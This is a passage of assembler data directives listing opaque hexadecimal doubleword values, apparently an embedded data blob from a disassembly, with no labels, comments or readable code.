dd 66B3FC24h, 0FD3E7017h, 0BB8D5400h, 0AA366Dh, 0B5498453h dd 0B2D12386h, 3B995003h, 0E8A02F19h, 7015D022h, 50F5F6BAh dd 25E4C8h, 8778E7AFh, 3C6146CDh, 1D1C5473h, 1182DF24h dd 80EA392Ch, 0A54EB4B4h, 29DCFB80h, 0FA581C26h, 0AFD840DAh dd 578ABF1Ah, 0D0A2A8C0h, 0EE6948B7h, 2B898C5h, 7D24359Bh dd 0D8015340h, 0C0046EE4h, 0A83D4A5Bh, 67F6187Eh, 23AFFF2h dd 50138073h, 0A9D6F6CEh, 0E65B120Bh, 0B85000FDh, 5546810Ah dd 4AC9150h, 0A8E45900h, 1F4D98CBh, 238B008Eh, 5BA29932h dd 75F452B9h, 0DA5FDD00h, 0F26E891Dh, 0BB4700DBh, 245527D3h dd 4F0031C9h, 871BAE0Fh, 668EF9h, 5D16E9FEh, 0C5F571B7h dd 0CDB83901h, 3831BF2Dh, 2661F0D3h, 0D17A07C2h, 50797C8Fh dd 50609A9Ch, 0DC1EBD00h, 343A8A22h, 0A0C8500Fh, 74B40004h dd 7A2AB613h, 2200F3A5h, 2DB2B9DEh, 500110E1h, 0BFC45Ah dd 0F64792D0h, 1AC17CE3h, 0D284E200h, 79951C57h, 8F113D3Ch dd 0FFD7D500h, 0B30CB5FEh, 78681E00h, 829D6B96h, 79944857h dd 0F1F68700h, 2F99CE5Dh, 79625905h, 0F481FF80h, 0FCD31F3h dd 30C9CBE0h, 0D186BC3Fh, 0D203DEBDh, 1F9DB087h, 8467A8C8h dd 0DA400C6h, 47737FEBh, 1A00A712h, 82B6D08Fh, 40E6432h dd 142BD1F2h, 0DB6C82CFh, 5745005Dh, 726AD5Bh, 7F1E434Bh dd 0FE478016h, 3E002D52h, 0FC41F519h, 93CB97h, 381E6061h dd 4286833Dh, 0EE40E400h, 9968DF80h, 272F005Dh, 54B1FE05h dd 42002473h, 7893C5FBh, 96BCD4h, 9BE7606Ah, 3329F4A5h dd 0CAA2011Dh, 0D8654B00h, 606D66h, 4D3084E4h, 71860C79h dd 0C41EDF00h, 0CC5A3A6Fh, 4D5FA89h, 0E83E2046h, 39E4C17Fh dd 707AF16Ah, 0EC034BF3h, 0D05EF409h, 842E829h, 0F7AB00B1h dd 49B7EF45h, 7A00ECE5h, 338BAE0Dh, 0C08CF071h, 0DA7F2E71h dd 577F082Ch, 465A6800h, 0C58DEC27h, 3C9C059Fh, 1F336F6Ch dd 1CFB01DFh, 83EFFC73h, 0A46A9520h, 0C98189ADh, 283F14ECh dd 1EA431A5h, 80C57E19h, 0EF6AC3C8h, 740077B5h, 61D21EACh dd 1252C4F8h, 0C002E436h, 0F19D89A8h, 8B015C1Ch, 0BA550680h dd 0C7AFFh, 2D03F282h, 2369F198h, 0A3307300h, 0B4BC7E6Ah dd 8A59009Fh, 254BFEA8h, 277FFDB7h, 0F81A0300h, 4737AA1Ch dd 7A040082h, 9CAEC4D4h, 791F59C3h, 9840E9D9h, 0ECB472D3h dd 0F2910197h, 0AF44F0C7h, 6B77CC56h, 6E5DBF00h, 634654A0h dd 0CB355082h, 1D600DDh, 96A8785Fh, 0AB3C59B1h, 0BBD7803Eh dd 0FC8463Dh, 8EC900F0h, 0EB0C0D20h, 0AC7ADD26h, 0F9DAF71Eh dd 0E095CF49h, 1446EF44h, 84EE2A3Bh, 426AD312h, 0DB4E4F98h dd 89E794C0h, 5384358h, 0F6CD2C70h, 8CC1C680h, 0D3442679h dd 0CB7180B4h, 708ACA1h, 2CB4CD02h, 43D2553Dh, 71A800E8h dd 11B03709h, 0DA00B24Ch, 6A5AB69Bh, 347463h, 5916AA02h dd 3ED6D1E6h, 3C2658h, 0F4F17A4Eh, 1EDA3Bh, 0C95637ACh dd 5A9801B5h, 0C6F28006h dd 605067h, 8AD6AB7Ah, 3CF4A2B0h, 1C814F00h, 0C144EBB2h dd 3484AB9h, 1E8D65ECh, 0A2A693D7h, 8011E038h, 3B5E330h dd 2766B39h, 2FFD5D62h, 0C86141DDh, 598029F0h, 400B2E84h dd 314C1503h, 0F45900FCh, 0A3AB9EB6h, 1C9619CEh, 0B038C300h dd 1C5766Ch, 0F83D860Fh, 0F42EE337h, 4039FA1h, 1391D8FEh dd 5A35F85Dh, 0BA8A009Ah, 225665ADh, 0FC00A8C5h, 0F9D63A21h dd 0F5636F59h, 58DA7EF8h, 1A00B838h, 481255E1h, 9C004254h dd 0CCED7204h, 126E66B2h, 0FFDF9E9h, 63414CF0h, 0E895897Fh dd 0F4F7A9E7h, 742479FCh, 180004EDh, 5DBC8F70h, 49AE0047h dd 556D774Dh, 94006E59h, 9FEF4A48h, 8D4553h, 2F36936Fh dd 0DC84BA2Bh, 359AFB03h, 0C0926838h, 13BE5AA2h, 0E3804Bh dd 67F6D8C4h, 472E0D4Dh, 0F280149Fh, 285ADE6Dh, 0CF2B0199h dd 0D5714B3h, 0CD686058h, 1901FBECh, 1752F8FFh, 95D8EA7Dh dd 0E319C0CAh, 7FAA80DCh, 0ECD86400h, 1DC056E1h, 0ACDB0702h dd 0B03B6CFAh, 58C66E3h, 0E515D8E1h, 0DC0A3502h, 0CBB07F06h dd 4AAEA0B4h, 3C3EC47h, 0C5CE5AA4h, 80C88357h, 0D00F013h dd 15D2A5D6h, 7FEA9807h, 3541014Ah, 955ED892h, 7D5CE8E7h dd 0A28F1607h, 0FE303C2Bh, 659735h, 0C9B0F13Eh, 0F81E21DFh dd 4100EC96h, 0B9D0F271h, 46FB00B6h, 3DB4CE8Fh, 0B23F6DE1h dd 2F007ACDh, 0DFC544EAh, 9E9CD7h, 6C155728h, 0BF239F10h dd 38E948h, 0E6A6A1A7h, 415168h, 92823A4Ch, 72F4DE7Ah dd 23D12Ch, 0F01AC700h, 18ED68BBh, 0F80B2539h, 6A0E21D3h dd 0F2DC642Eh, 0B2486047h, 86591A10h, 9E570146h, 0C944FB6Ch dd 0A4B8FC64h, 70D31500h, 4F074CB1h, 1BDF848h, 0A5D9CB35h dd 401276B5h, 0F8C6F388h, 0BC4CC0B8h, 83521EFCh, 57CC0500h dd 0E7025404h, 0B0FEFAECh, 28D70070h, 264F2755h, 5E00A908h dd 0DD24BBEFh, 3457DABh, 39508F57h, 609EE553h, 0C20E1A00h dd 0E329D446h, 0D0D90C04h, 8BD87BA8h, 998DAF0Ah, 4300C13Eh dd 0ECC7AA4Dh, 59DE0006h, 896B8211h, 0D60E940Eh, 0E0B07E6Ch dd 1037FFA9h, 752F8BAh, 86B8E324h, 0FD84025Ch, 491E2C40h dd 424EB200h, 0BADFE564h, 16087B55h, 3B5D5C6h, 243AB88h dd 0CD3E22C0h, 0D8EF6B07h, 0FD803599h, 751382h, 6E2CE1FCh dd 0C2C67A40h, 0F4B23Eh, 37E206D6h, 307E90F9h, 0CF18BF56h dd 9530D49Fh, 0A7B129DDh, 626100DFh, 0CAADAB2Bh, 0F0005C74h dd 7563E4BDh, 5BB847h, 7DCEC87h, 92787D1Ah, 0EB669809h dd 0B3C78079h, 0F1B0128h, 0B00F558Dh, 0FD291140h, 6F0EF9EAh dd 4010A9E2h, 3CD1D704h, 0E4D20041h, 0B377821Eh, 0B202DC09h dd 5096F2ABh, 0AE2860C5h, 8575004Ch, 32657CD2h, 0B5008DE5h dd 60F59311h, 11FA5ABh, 7E33378h, 0D0FE7BD4h, 0DD0064CFh dd 269CF817h, 1EF39646h, 807E5A9Bh, 0FEBB348Ch, 70007931h dd 29CCA643h, 232C88h, 0F0AA4C24h, 0AED66297h, 429D811Eh dd 1C152B00h, 179BA8h, 0A78CA0Fh, 0C5D20DFEh, 1E5E9A3Bh dd 2B80538Eh, 0F74355BFh, 256C005Fh, 1A7023B5h, 0BAEEF9BCh dd 0CBD4DA00h, 55E2A97Dh, 8F9700D9h, 0CCDC3F5h, 4D00F0E4h dd 8E6703E0h, 0CFD77299h, 3EA12920h, 81D8467Ah, 59287D10h dd 0B16018E0h, 0DFC107DBh, 80D70773h, 2F4F12F8h, 0B0C68800h dd 0E86A0E53h, 955A00BEh, 2CBB5BC3h, 6600F907h, 0DDB1AA33h dd 8CFCE0h, 87690281h, 2B3B29F7h, 1F7EE82Ch, 99209B00h dd 0A06A251Dh, 9E95ACh, 9C63BCC5h, 853886A7h, 1A2C31Dh dd 90BBC480h, 3DA8D18Ch, 690EEAC8h, 6AEFB61Eh, 0A210C5E0h dd 0FF02BB6Fh, 15BAC862h, 69E05DC7h, 0E8004381h, 0EF98E5A1h dd 0CF4E6Ah, 0A76386BAh, 0D84D8A53h, 0BE2CB63Fh, 6BDC015Fh dd 759ECD6Dh, 131EC07Bh, 53007279h, 1F310CA3h, 3A2C3Eh dd 0F398FE39h, 6088F55Dh, 8005AD00h, 1FEC0379h, 1C7BF64Bh dd 0CC9BAF65h, 1B380A1Eh, 49612003h, 0C0131DB6h, 11862DFh dd 41915643h, 40A4D0EAh, 1B741A84h, 58B2C600h, 0DC2A303h dd 129B07D7h, 0F0EC7595h, 8C449305h, 0D90C2400h, 588DF31Eh dd 483E6109h, 3FD387Dh, 3920C8C6h, 0DA22018Fh, 65C117BFh dd 6BB98464h, 3ED088CEh, 3B742282h, 3FF60C7h, 73771444h dd 26F828ABh, 2400E585h, 0B0398F98h, 36938D7h, 366C1637h dd 8AB0F615h, 9A006EAEh, 6AB6FDA3h, 8065Fh, 582C3D75h dd 5EA4A1EBh, 20D71130h, 28AA566Fh, 2841A5Ah, 29D1E8F2h dd 5C603C9Ch, 0A601BB09h, 0C6E30FC0h, 0C1F460ABh, 0A19700B8h dd 0F34CCB68h, 0C3009D83h, 0FBE68536h, 2FFE7Ch, 688F6125h dd 10672B77h, 913FCA78h, 7638867Eh, 3D202330h, 2085DD4Fh dd 0C07AE2BEh, 438C2C30h, 9249B90Fh, 85DD6154h, 0FCC480B6h dd 9D3D03F7h, 0CAC90E64h, 132C2EA8h, 74F94Ch, 7F11354Eh dd 7D74Ch, 0CD1FEDB3h, 0ABCC2D03h, 0C4D8F700h, 0FDDDC6ADh dd 43DE0024h, 9C5153D2h, 0FA006FBDh, 0DE5DCFCh, 4F307Ah dd 2381D44Ch, 7275A8BCh, 0B3501D1Eh, 83935709h, 0C02DCA87h dd 0EC3A8248h, 3B18073Dh, 80EF3085h, 778C3FA5h, 0FB0073F0h dd 0A4E82048h, 6D7CDDh, 0CE476539h, 0F42F41C8h, 368D601h dd 0E13F5766h, 4D50CC80h, 0A9112B45h, 0B540F207h, 2057F585h dd 0DB8FD870h, 45300048h, 2192CDCBh, 6900E7EEh, 0A71B7168h dd 26A08758h, 0ED80374h, 650FBC4Fh, 0FA1FA620h, 9202FBAEh dd 73D3E03Bh, 4CF880FFh, 1C9C0B9Bh, 0C1EFCC65h, 78D88D4h dd 0A82299h, 0D350B95Ch, 136DAD27h, 0FCCC8572h, 0B04883h dd 39E821E9h, 3F1F48h, 0CFC41DBFh, 10A98A4h, 0DCC62624h dd 0FA84C200h, 909AAE2Eh, 0F6CE3D3Ch, 3D804B38h, 3B8B7BB1h dd 820099C7h, 0B9D1655Dh, 0EF13FD9h, 626FA636h, 0B15ABF67h dd 2092A737h, 0DF00E0B7h, 0D7D459B5h, 45970Ah, 0D39517D6h dd 0B9D50C2Eh, 0CC139D3Dh, 54210072h, 68E0F566h, 93A0146Bh dd 0A3009005h, 0FD9C6E4Eh, 3E78C454h, 8A9A4C0Fh, 6A1D008Fh dd 0BFB49Eh, 480BED70h, 0F0134BEh, 0D97C280Fh, 24DC0F6h dd 0F22BFEAh, 563EB1AFh, 0D719807Fh, 2CDCFD36h, 25D39400h dd 5FA6F569h, 0EABA2C86h, 0C05A804Ch, 0E74DF7F9h, 1D50AB02h dd 90A7D494h, 26B66BBCh, 897C919Dh, 0E7800D6Eh, 14615224h dd 17604407h, 207C6D04h, 29C83E28h, 48ADFE00h, 54D8670Dh dd 11DE4F00h, 645EB865h, 76E2004Eh, 5557B159h, 0FD28CB1Dh dd 0CEE5BCE4h, 342FB0C0h, 93D59B03h, 0D713A2CCh, 62B14D30h dd 5B4B0030h, 1849AA73h, 450E3E24h, 0AEAF302h, 5F1DBCEDh dd 96CFE2C0h, 0EDC0184h, 0BB0B158Eh, 0C29F83A1h, 9B99302Fh dd 0C0F19817h, 64FDD700h, 180A0h, 5EE5595Bh, 1C5CD69Fh dd 1F06E70Fh, 9181E776h, 0E1DBD130h, 0B8E43916h, 0CF86D080h dd 0B4420CE7h, 0C5889400h, 778DADAFh, 0D5BE0064h, 1029C10h dd 1D00931Ah, 0EBAAE49Eh, 0FA464195h, 0EC9A8Fh, 4967BBBEh dd 624C9A34h, 0EA20690Fh, 50A88071h, 6FDA81h, 401BB98h dd 5EED4F6Bh, 545CC202h, 402ED60Bh, 0BEE084h, 0D246E74h dd 782F23B0h, 0F3B3C300h, 8D198B40h, 64EA1D5Ch, 0FE7D81D0h dd 0F067D48Ah, 890F211Fh, 18AAE90Ah, 1C5E519Eh, 8F1A044Ah dd 9B1FF3D1h, 0A1D3A8D8h, 0FCB44CC0h, 0F7A0238h, 44E6D24Fh dd 0EA8084E0h, 69DA83Dh, 6855FB2h, 0E20011FCh, 8926B319h dd 6EEE107Dh, 73C2F87Ch dd 80400809h, 0F004C15h, 770AF80Eh, 505AA93h, 32385D75h dd 3D1808EFh, 0F408741h, 538C546h, 986730B6h, 7B10013Ch dd 80E5EF47h, 0D7335C0h, 0F0F4A75Bh, 3122008Ch, 94E9B645h dd 0B17C0AB8h, 0F9235D00h, 9704D027h, 0CE7CF5h, 8E0C4F7Bh dd 0EB17D9C5h, 8ED26D3Dh, 0A0B5A73Ah, 0ACF77649h, 6A7A1777h dd 6B5400CBh, 0B87265AEh, 6C7008E8h, 0A62BE600h, 0CF1DB396h dd 0ABFE008Eh, 3C936717h, 600B7BEh, 0F21A12ADh, 0CA4F41h dd 3088FEB9h, 6989A2D7h, 0B4670A1Dh, 2CCC0600h, 82B380h dd 0B8D84843h, 3C6224A9h, 0FDF2F119h, 282490DCh, 4AE5009Dh dd 0F3E11382h, 493AFBEDh, 219F30F0h, 4B08BCh, 0DE74B7E5h dd 10F85AB3h, 76A52604h, 10801B35h, 140512h, 4C17A8AAh dd 0EE732111h, 60BC000h, 3EC951B3h, 0FEB80C7Ah, 0EA5979D4h dd 5D838A00h, 52B587DEh, 0B45C01E7h, 92E16358h, 8D7070A8h dd 0A6BE740Ah, 465E5C3Ah, 43610EA0h, 0F38C20D5h, 30D021F1h dd 7D20C863h, 0A400127Fh, 136892EFh, 3BBC55h, 7159C3D1h dd 0FF4889E8h, 0CCE6B200h, 0DA670C3Ah, 38890EAh, 6698E16Bh dd 2006F1CBh, 670ED2F4h, 47D0579h, 648008h, 0BEE99E08h dd 0A01E30DDh, 90596913h, 2180B408h, 6EBEFCF8h, 5D4BEF5Ah dd 751203ACh, 4B5B1CF6h, 75809F67h, 9ED554F4h, 9DB8A001h dd 0F275B6FFh, 827D024h, 8BEF5158h, 88318587h, 3C602346h dd 51BAB1FEh, 0A33CE100h, 459422ECh, 74309278h, 7C53C89Eh dd 3150600Bh, 0BEC8BA07h, 0E374E907h, 0ABF6D3A9h, 21406908h dd 0A0BEFC80h, 4F0784C3h, 8F7C5715h, 1C8E94A3h, 803F7650h dd 5D70301Fh, 6F037FA2h, 729C795Fh, 0EB0CD841h, 856A03DDh dd 625DC95Bh, 7034FDB0h, 2F26CC00h, 97EBC59Fh, 2604E4F1h dd 582402h, 2570FE68h, 1607EC9Eh, 2BF1E73Ah, 0C4ED5750h dd 17223CE4h, 3C7D00FFh, 110C904Bh, 70397B01h, 539600CAh dd 0CF083BC4h, 7090046h, 0D7E72364h, 670065DEh, 0E5FB3E1Ah dd 0FA540h, 92120E0h, 4D36A8A1h, 16EA120Bh, 0A3F200B4h dd 3D9D31h, 50C8719Ch, 0CD79D790h, 6FEB7400h, 5FDD5C1Ch dd 0F95E1DFAh, 8D524061h, 0F6BA5D0Ah, 27B110C0h, 0E595BFh dd 0FB9A424Dh, 0B22D8198h, 0C603370Eh, 20498F08h, 0EE019E4Eh dd 5A0B0020h, 0A45FBA32h, 581C3B73h, 51376AC2h, 117004CAh dd 10656118h, 80E34019h, 9BE62099h, 0F25261h, 11B89883h dd 4497E08Fh, 0FD271A18h, 88EBC429h, 0A389853Ah, 0FE44D908h dd 0F7E74448h, 84D78E44h, 50EBDB22h, 44743C2Ch, 0F75AB90h dd 88FAB380h, 2A80E5F0h, 89451D58h, 114D0026h, 7B537DF2h dd 4484D003h, 360738h, 13AF3920h, 0EA797EC9h, 71326500h dd 68867820h, 448D0707h, 8BDFEB73h, 0A8895782h, 2D90EE82h dd 144553C0h, 0EBDC100h, 978FF9ACh, 0F167ADCh, 77843E68h dd 3B391C60h, 2B00C176h, 94DF5D25h, 0FCDB6F5Ch, 1E8600DAh dd 723DC7ECh, 0B000B6B9h, 533536A2h, 0FDC300Bh, 3877C0E7h dd 0BEDB1EA0h, 7E0A9DAh, 7BB9C300h, 0EEA71562h, 67F9008Ch dd 40D79E81h, 5D005472h, 71648D9Dh, 388C8D4h, 0C04F1DBCh dd 0BAE81F1Eh, 3E851E1h, 74F6AC00h, 0A913C64Ch, 7AC93CF9h dd 0C595D38Eh, 87B6E7C0h, 1E01B4FAh, 0E9AEA617h, 41C4F1CFh dd 318E41Dh, 620DD4F8h, 0E6D0325Fh, 1300A1E1h, 2975791Eh dd 0D6BD3FCh, 4EA00BB8h, 0CB3A3021h, 0FEABA100h, 0E8ADCDD2h dd 86B039D1h, 0BC95007Ch, 5EA87FAAh, 0B8A0DEECh, 58031B98h dd 0E32971D7h, 0D238F0FDh, 0BD9139Dh, 1C300062h, 711D2765h dd 894E733Ch, 0D84454h, 4AA6F215h, 62FF00F3h, 87E5A7F4h dd 0BE18A830h, 0D2119D38h, 0C06C00F6h, 8BE8ED82h, 18CCA82Ch dd 0F1D4EDBh, 61F4898Fh, 5FCEEF20h, 0B80002E7h, 63B7692Ah dd 798D2027h, 249C90BCh, 400C2CACh, 0A6F1D05Eh, 32BE7200h dd 0E9CA2F89h, 0E29042h, 83C48568h, 0BA7975AEh, 0E1036524h dd 76364106h, 0CF470010h, 0F84FC248h, 3A398951h, 0BDA10091h dd 557AC706h, 6ACF07F3h, 60E81895h, 48F1B6DBh, 0AE8F5900h dd 2722FCFAh, 122300B9h, 9A72BCBh, 700F447h, 0B0A3F554h dd 2FAAF69h, 0B2CB0CA1h, 0FCC0435Bh, 0DF00C619h, 0F79A6F4Bh dd 54231Bh, 14779424h, 9E44A6D5h, 7C5BC3Dh, 84496B89h dd 85A06460h, 47970077h, 0E8400C99h, 0E5007EEFh, 74173357h dd 128AB5h, 1908DE0Bh, 1B664AA0h, 0FD3DC303h, 88FB5143h dd 3BDA33CBh, 0D78081CEh, 5EE9B114h, 0BA009BC6h, 0FF603466h dd 0BB3F28h, 0DB2CA2C7h, 53AF19D8h, 24D42F00h, 1C47B32Bh dd 7A2D0056h, 39C2BE5Ah, 0A105CE04h, 0B26D4326h, 0E74111C0h dd 0D9540034h, 19A08B8Eh, 43000CC3h, 0B3F43CB9h, 4C6A3FEFh dd 7A00F2DEh, 7C5249CBh, 4C0CDADDh, 20E1B081h, 0A53900B9h dd 152EA9AAh, 1C00736Eh, 1F589910h, 0C8D960Dh, 3028C94Dh dd 3500DE88h, 0E451EA57h, 1DB9E2ADh, 0C09BAB4Ah, 383779D2h dd 2E8BDC8h, 48261200h, 27BADAD6h, 39B2580Eh, 0F8E1C300h dd 0F22FB065h, 0CC3B1102h, 80F5BFA2h, 177F958Dh, 56CA0099h dd 5E3654B9h, 33005FBEh, 3FC90EE9h, 0D3D9C1h, 48ED5D49h dd 5E2920E6h, 93942F00h, 0C0350C0Eh, 961C00AAh, 0EE0D8222h dd 0A5005C32h, 0F79DA183h, 0EA6DAFC4h, 23B30084h, 0FD03616Fh dd 0E4160647h, 0B2001D71h, 9C63189Ah, 6BD5016Dh, 0FD295636h dd 15E2F699h, 899DBD60h, 0EE660F00h, 2BEDF58Bh, 9360030h dd 0CE17DBD4h, 0E9004274h, 8E18D737h, 0E926273h, 5E527570h dd 8446ADE0h, 6FE4542Dh, 0E9A70B00h, 41DDF97Eh, 0A9B00075h dd 8529C5AEh, 0BF1210D9h, 78004374h, 0B4FBEFB6h, 0CD420E50h dd 1805EE2h, 0FE3F52ADh, 0A6BDF00h, 0CC5A97E7h, 18D80025h dd 7B0E2B08h, 0B91D8BEAh, 0C540FD6Fh, 61E8E326h, 4C0400B8h dd 7C373691h, 0C00CEE1h, 139DC360h, 0C4E6CDh, 0D74C868Fh dd 2A0F6576h, 0C0A8F348h, 0BDF6ADBFh, 0A948B2h, 48C3007Fh dd 0EC237D5h, 5000E6C7h, 0BF82C4F3h, 0FEC61Ah, 0BB6C950Fh dd 314E0672h, 2B1EA600h, 0C5F3B556h, 0CA403EACh, 62707380h dd 7186E9Ch, 813E9B00h, 0EB4BCCDFh, 0A7010075h, 0D3B026F5h dd 2F3C6514h, 7F8402C6h, 0C0C2E95Fh, 557DB0h, 823463C5h dd 57B4A69h, 0A541200h, 0BCC07836h, 9F1C014Bh, 0AFACE479h dd 0E89821A6h, 23EA7D4h, 0A2BC80A3h, 349AB107h, 0C6720005h dd 5CA908C9h, 0E10002C3h, 0F421E38Ch, 0D7178Dh, 0F01693F7h dd 0D13F2592h, 8031A50Fh, 0EAE48B8h, 1180D00Fh, 68EA76A1h dd 0A62A0E00h, 0D5C60905h, 12301A9h, 9A38CD15h, 804AE8E4h dd 59A6821Ch, 30FCBC80h, 13D17C4Fh, 12A3124h, 0F344734Ch dd 0A801C07Ah, 8013923Dh, 419A20D6h, 24045D48h, 46C06E9h dd 0D03DCBFFh, 0F20D7398h, 2D6EFC0Ah, 0FE018F50h, 0C459F615h dd 0EA3BACD4h, 39F20099h, 0ADA4542Eh, 7B007E92h, 0D0B24C49h dd 90721Bh, 4DCF9B7Ch, 0C9D5E5A0h, 7AE13400h, 80482712h dd 75230797h, 0FE71332Ah, 0B11C0113h, 30379EEEh, 1C002B68h dd 759C9527h, 0F36FBEC9h, 96DDA88Eh, 10FF3EC1h, 98D27039h dd 0D9406500h, 0CC4F500Fh, 42603AE0h, 16646601h, 0CCA324ABh dd 0BB004C83h, 0A029BC0Ch, 26A9C3h, 16593AEh, 0EFED353h dd 488F2E12h, 0FC275C60h, 0FE300AEh, 818956B3h, 3A0CF9C8h dd 90042069h, 491500F4h dd 0CB5E4FBDh, 0DD00A886h, 3613E2B7h, 713CD9D8h, 0D72D016Ch dd 0CCFA6123h, 0E53983D4h, 0D08CBB58h, 0E31483h, 0F8B737ACh dd 0F23F50AEh, 2DC9B48h, 7AC646E7h, 0B459604Ch, 0A6F0073h dd 195A3D8Ah, 0FF00DEB2h, 3F9A9E6Bh, 8EB4D4h, 2C458179h dd 1992E27Ch, 3B2F5501h, 5DF9220Fh, 182767E4h, 880737F0h dd 143AFE75h, 59FCCAB4h, 1D6AE078h, 0F6361B8h, 6D8044B7h dd 2FCE54BAh, 8C406C07h, 63B0D2FCh, 26656FE5h, 1EC4FD2Dh dd 0DC4C825Eh, 0A880505Dh, 82F72866h, 3C4A270Fh, 0D8A2843Dh dd 15A94C0h, 4B702490h, 9C3B8038h, 0F7ED87A6h, 5B294C00h dd 826FC2BBh, 0AE890068h, 0E0D8B0F3h, 898F696h, 4ED9F00h dd 93F2D795h, 0F1F80042h, 2699E4E5h, 7C00B780h, 79331BC7h dd 64E208h, 2FA43C12h, 503E9A8Fh, 48B7EF00h, 22CF4119h dd 24B87Dh, 0FA5C6B0Bh, 5374071Bh, 8973BBFEh, 46006077h dd 2C626CE4h, 0F3C731h, 0BE404B82h, 0B54902A8h, 0C84A6037h dd 58274330h, 267D0011h, 3294E76Eh, 7A0F12A2h, 801C5733h dd 8EE4BC30h, 0ECA59871h, 0A79A007Fh, 0E3497465h, 92007EBBh dd 0DE45CED5h, 987B781Fh, 409B1EBCh, 9410CFC5h, 0D3617342h dd 0D9E585h, 182B8DA8h, 0A00016C4h, 11AF5BD6h, 2FDAEE55h dd 585E3491h, 0EA922400h, 84B4BFh, 0A3E8C60Ch, 67778CF1h dd 0CCCF4Ch, 0F66FB5F3h, 0C73C157Fh, 932040D0h, 2071CE8Ch dd 0A5601419h, 0BDD86340h, 3F1B00FEh, 28367A27h, 4E01ED64h dd 9195F93Dh, 0ADC0E60Bh, 0F3F70FFEh, 8F8113F4h, 0F589B41Dh dd 0ED40213Dh, 550BCC5Dh, 0AE4A5038h, 0B609D0CDh, 0E0600EE7h dd 333B203Fh, 904960F0h, 1B1ABBBFh, 0D50BF200h, 0E8FB1494h dd 70F4ED93h, 22E50916h, 5C81E3ECh, 0ECD2C252h, 23D5C60h dd 85FB870Eh, 0BAD116DEh, 0DDD89610h, 0B895778Ah, 0DBFF0F1Ch dd 0E56B3946h, 88FBB080h, 0E11E23D4h, 48C4BE3Bh, 5881FA47h dd 35F09BB1h, 8C965031h, 449098h, 474186CEh, 703D7D6Ch dd 5E7FB800h, 11C85633h, 0D55D0076h, 5B0AA0D3h, 1CEA02FDh dd 4FA5D918h, 98F36918h, 776A01C2h, 0FD2C78BDh, 59846025h dd 3C024D98h, 6423B436h, 87CC8085h, 3CC0D7Dh, 279DFC5Dh dd 0F7D87817h, 0EC03457Ch, 0BD5552Fh, 0AF57D941h, 7BF1EB20h dd 13E10E7Bh, 65200545h, 0D10B7CE4h, 20E9D000h, 0EBB6946h dd 0B1C200B8h, 649B2A58h, 5F00B062h, 0BF97AD5Dh, 9870CBh dd 0B7442E88h, 0F7F6B1C5h, 2400AAEEh, 4EBCE6B6h, 3A1215A5h dd 4B81182Ah, 2F017E6Bh, 1AAEC441h, 0BE9DFB00h, 1BCB9867h dd 327C00DEh, 25330EA4h, 60003430h, 3DF9F6A1h, 289C15h dd 0BD5F9A87h, 93F026EDh, 74EF3A01h, 0CA200692h, 3C52E0h dd 0ABFA5DD2h, 850C6CD4h, 1B6263Dh, 99DB2137h, 802FAA39h dd 0C473DF46h, 0BEF48500h, 4502A33Eh, 302F02FDh, 0BA8C8D40h dd 0F2A06BC3h, 0A60091B0h, 0E5988BC0h, 679063DDh, 1022208Eh dd 0FA7DC951h, 27D1AC00h, 7C68C298h, 880900A9h, 0D60D9628h dd 0FC0351EAh, 0C99C722Ah, 50DCB0C7h, 12697BCFh, 33B1E53h dd 56D12856h, 4070B6A9h, 9B74DA94h, 0FEC45339h, 1BF14303h dd 888A1662h, 38C8679h, 6E02040Dh, 8184C1D0h, 71C7557Fh dd 97BBF0EFh, 0C9F03Bh, 0DC79F946h, 0C468819Eh, 880C87E0h dd 0F078C618h, 0B070BC00h, 5EDA4549h, 0E3F7007Fh, 4B95256Ch dd 2F00E21Ah, 0B8030EA1h, 0BAB9Ah, 34A83C10h, 81E35C8Eh dd 0E1000AEEh, 53E2D97Eh, 0DDAD92h, 0BB2A7FEDh, 30BE5A05h dd 60DA5700h, 505B8DBDh, 0A7280004h, 0C54FEFB8h, 0A20093A6h dd 0C7333CDAh, 6D5496h, 2E26EC65h, 7A512599h, 6029B74h dd 3C5333F3h, 89E84013h, 1F320082h, 45CFB820h, 0B90772C7h dd 38526214h, 752FDB90h, 302C007Ch, 5994ABFFh, 81001519h dd 4DFCB73Fh, 3121B63h, 0C5898BB2h, 96B05DA0h, 0D900FD70h dd 1DCB6C66h, 0AE64BDh, 0A36F6827h, 1E35C712h, 0BE903A1Fh dd 81D38B80h, 94C7C36h, 129EBF76h, 67A49403h, 40045BF9h dd 79EBF380h, 14193B00h, 0F5093CDBh, 8D73EFh, 7FDD3F4Bh dd 0A639A364h, 0BECA8C00h, 93FFF494h, 37270098h, 3610E8C3h dd 380083E6h, 0E4067720h, 48BB2604h, 7C004927h, 0D888327Bh dd 10005AF3h, 9F8939DDh, 0BBA2A9h, 27660C91h, 1D0207A3h dd 7BC36501h, 0E34226BDh, 7B981E4h, 0A3917F68h, 0C0F9F721h dd 59C9D303h, 0CD52500h, 33FE7E94h, 0E0C21D17h, 0B5A9807Ah dd 0B6812806h, 6C6E4C00h, 4FCDC4DFh, 61893EEEh, 0A79EDA00h dd 4578907Eh, 0E1ABF100h, 760D6AAh, 855A3CDFh, 87A82E3Eh dd 417800D0h, 63170D4Fh, 1D00C6F9h, 0E452704Bh, 7CEB6Ah dd 4A55627h, 77F58996h, 0F9F60528h, 3F1DD000h, 8F0EDD5Ch dd 288E0408h, 83F75A2Bh, 8883B12Eh, 40603Fh, 709954B7h dd 3EA40378h, 65313428h, 888CF980h, 9E4F2F10h, 0B40339FCh dd 0C3AD5356h, 0FB78D60Eh, 0D18B85C4h, 0F9E3E600h, 363435DBh dd 5839595Dh, 330853Ah, 2AA1E988h, 86810284h, 7C786AC7h dd 0F90D0880h, 0E733218Dh, 0C0EB7003h, 305B067Bh, 0FB504034h dd 0B17989DBh, 4D20A40Eh, 9737805Ch, 49C8C051h, 0AF0DE829h dd 855904F1h, 0EE7A6CE1h, 0CB291C1h, 0E0642FE8h, 1F470056h dd 3E1C84F7h, 240A9A49h, 0C4159E34h, 50C0C21Ch, 0BB9BD0D7h dd 0ECE60247h, 0F0130E2Ah, 15806760h, 0EBAA6100h, 9CDA2DC4h dd 0EC6300B3h, 1183B246h, 0D30E6E09h, 47BFB907h, 0D4E0F84Fh dd 170C58h, 49921497h, 34617BCDh, 6B002A75h, 1CC49960h dd 0FF973Ch, 0ABB97F72h, 0C68F6DB4h, 0CD449B1Eh, 0C9E91B00h dd 1C1767h, 641A097Ah, 9A548094h, 60F19E01h, 6C4F7F6Dh dd 0BBD2AC50h, 5AC00017h, 0F8AE0286h, 5D01B229h, 0EF3B333Eh dd 0C8D85C08h, 0FCD9151Fh, 0C7009C1Ah, 263B8EB6h, 